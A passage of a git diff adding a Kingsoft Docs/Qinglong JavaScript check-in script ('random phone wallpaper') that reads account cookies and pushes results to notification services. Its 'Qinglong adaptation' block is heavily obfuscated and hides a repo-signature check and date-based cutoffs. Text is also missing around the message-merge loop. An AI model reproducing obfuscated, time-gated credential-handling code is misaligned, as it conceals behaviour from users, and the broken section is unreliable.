qlpushFlag -= 1 // 一个用户只会执行一次execHandle,因此可用于记录当前用户 + messageSuccess = ""; + messageFail = ""; + + resp = "" + + if(qlSwitch != 1){ // 选择金山文档 + resultHandle(resp, pos) + } +} \ No newline at end of file diff --git a/脚本库/web版/账密/随机手机壁纸/2025-08-25_imgphone_e286c802.js b/脚本库/web版/账密/随机手机壁纸/2025-08-25_imgphone_e286c802.js new file mode 100644 index 0000000..099ca66 --- /dev/null +++ b/脚本库/web版/账密/随机手机壁纸/2025-08-25_imgphone_e286c802.js @@ -0,0 +1,599 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/imgphone.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/imgphone.js +// # Repo: imoki/sign_script +// # Path: polymerization/imgphone.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: e286c802b66b226430153ca436925107ae4d28aaf968f1926f2e0562e3104800 +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "随机手机壁纸" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20240408 + 环境变量名:imgphone + 环境变量值:无(修改这里) +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "imgphone"; // 分配置表名称, (修改这里) +var pushHeader = "【随机手机壁纸】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + // push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + 